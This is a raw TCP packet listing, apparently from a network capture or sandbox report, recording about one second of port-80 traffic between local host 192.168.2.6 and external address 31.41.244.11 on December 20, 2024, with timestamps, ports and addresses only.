Dec 20, 2024 17:43:21.862302065 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.863244057 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.863296986 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.863339901 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.863385916 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.864437103 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.864485025 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.864528894 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.864573956 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.865605116 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.865684986 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.865711927 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.865755081 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.866775036 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.866825104 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.866903067 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.866950989 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.868021965 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.868071079 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.868113995 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.868158102 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.869280100 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.869330883 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.869388103 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.869436979 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.870431900 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.870484114 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.871305943 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.871367931 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.871541977 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.871587992 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.871601105 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.871646881 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.872723103 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.872778893 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.872992992 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.873039961 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.873965025 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.873980045 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.874022007 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.875087023 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.875144005 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.005474091 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.005595922 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.005697966 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.005753994 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.006011963 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.006061077 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.006165028 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.006215096 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.007162094 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.007209063 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.007225990 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.007271051 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.008397102 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.008445978 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.008510113 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.008557081 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.009615898 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.009664059 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.010185957 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.010245085 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.010729074 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.010787010 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.011089087 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.011136055 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.011955023 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.012001038 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.012396097 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.012440920 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.013164997 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.013212919 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.013238907 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.013271093 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.014252901 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.014302969 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.014394045 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.014451027 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.015458107 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.015508890 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.015594959 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.015640974 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.016642094 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.016693115 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.017013073 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.017072916 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.017848969 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.017895937 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.018548012 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.018598080 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.019053936 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.019104958 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.019464970 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.019515991 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.020209074 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.020252943 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.020639896 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.020688057 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.021372080 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.021426916 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.021507025 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.021553040 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.022567034 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.022614002 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.022629976 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.022670984 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.023896933 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.023947001 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.023972988 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.024019957 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.024996996 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.025048971 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.025182009 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.025238037 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.026156902 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.026222944 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.026232958 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.026282072 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.027334929 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.027359962 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.027384043 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.027396917 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.028508902 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.028553009 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.029120922 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.029165983 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.029680967 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.029727936 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.029767990 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.029810905 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.030864954 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.030915976 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.032094955 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.032109022 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.032154083 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.032185078 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.032226086 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.032265902 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.033224106 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.033272982 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.033309937 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.033354044 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.034437895 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.034509897 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.034601927 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.034647942 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.035623074 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.035670996 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.035787106 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.035835028 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.037041903 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.037096977 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.037178993 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.037221909 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.037977934 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.038024902 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.038194895 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.038240910 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.039263964 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.039330006 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.039330959 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.039376020 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.040390968 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.040435076 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.040543079 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.040601969 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.041522980 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.041583061 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.041735888 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.041779995 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.042742968 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.042793036 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.042850018 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.042895079 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.043922901 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.043961048 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.043967962 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.044006109 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.045141935 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.045206070 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.045270920 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.045311928 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.046349049 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.046401024 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.046551943 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.046597004 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.047553062 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.047600985 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.047818899 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.047867060 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.048690081 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.048738956 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.049026966 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.049073935 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.049877882 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.049926043 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.050045013 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.050091028 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.051048994 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.051099062 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.051712036 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.051760912 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.052278996 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.052326918 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.052346945 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.052386045 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.053459883 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.053508997 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.053560019 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.053601027 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.054630995 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.054689884 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.054761887 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.054805994 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.055804968 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.055852890 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.056162119 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.056209087 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.056972027 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.057019949 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.057085991 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.057126045 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.058160067 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.058212996 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.058311939 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.058363914 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.059393883 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.059448957 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.059715033 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.059766054 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.060719013 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.060775995 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.060862064 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.060904026 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.061686039 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.061733961 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.062267065 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.062310934 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.062977076 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.063024998 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.063271999 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.063334942 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.064105034 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.064151049 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.064229012 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.064277887 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.065296888 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.065381050 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.065433979 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.065479040 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.066467047 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.066515923 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.066694975 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.066735983 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.067632914 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.067682028 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.197330952 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.197443008 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.197453976 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.197499037 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.197868109 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.197927952 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.198070049 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.198121071 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.198199987 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.198246956 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.199254990 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.199305058 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.199362040 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.199412107 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.200447083 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.200498104 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.200726032 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.200772047 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.201677084 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.201726913 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.201760054 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.201807022 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.202816010 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.202867985 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.203377962 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.203429937 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.204018116 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.204066992 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.204140902 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.204188108 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.205226898 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.205275059 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.205446959 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.205518961 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.206387997 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.206439972 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.206542015 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.206583977 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.207540989 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.207597017 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.207866907 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.207914114 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.208842039 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.208894968 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.208911896 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.208954096 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.209960938 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.210015059 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.210047960 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.210089922 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.212686062 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.212747097 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.212783098 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.212795973 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.212833881 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.212974072 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.213027954 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.213517904 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.213563919 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.213761091 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.213854074 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.214766979 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.214817047 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.214838028 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.214879036 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.215877056 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.215934038 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.215958118 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.216013908 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.217469931 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.217546940 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.217607021 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.217653036 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.218234062 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.218283892 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.218436956 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.218485117 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.219454050 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.219501019 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.219588995 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.219645023 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.220604897 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.220654011 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.221302032 CET	80	49732	31.41.244.11	192.168.2.6
